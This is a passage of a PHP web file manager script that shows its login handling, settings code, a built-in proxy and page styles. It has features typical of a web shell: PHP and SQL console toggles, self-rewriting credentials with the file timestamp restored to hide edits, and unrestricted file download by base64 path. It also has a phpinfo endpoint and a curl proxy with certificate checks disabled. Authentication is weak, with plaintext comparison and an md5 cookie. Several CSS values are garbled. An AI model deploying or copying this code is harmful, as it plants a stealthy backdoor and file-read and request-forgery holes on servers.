	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//как-то тоже подменять надо
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<title>'.__('File manager').'</title>
</head>
<body>
<form action="" method="post">
'.__('Login').' <input name="login" type="text">&nbsp;&nbsp;&nbsp;
'.__('Password').' <input name="password" type="password">&nbsp;&nbsp;&nbsp;
<input type="submit" value="'.__('Enter').'" class="fm_input">
</form>
'.fm_lang_form($language).'
</body>
</html>
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg .= __('File updated');
				} else $msg .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #CD5C5C 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title><?=__('File manager')?></title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: ## #800080A ; text-decoration: underline; }
a.th:link { color: ##6495ED; text-decoration: none; }
a.th:active { color: #CD5C5C; text-decoration: none; }
a.th:visited { color: #E9967A; text-decoration: none; }
a.th:hover {  color: ## #800080 ; text-decoration: underline; }

table.bg {
	background-color: #C0C0C0
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	# #CD5C5C ;
	color:				#CD5C5C;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	##CD5C5C;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#FFC0CB;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	# #808000 ;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,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");
}

.file {
    background-image: url("data:image/png;base64,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");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
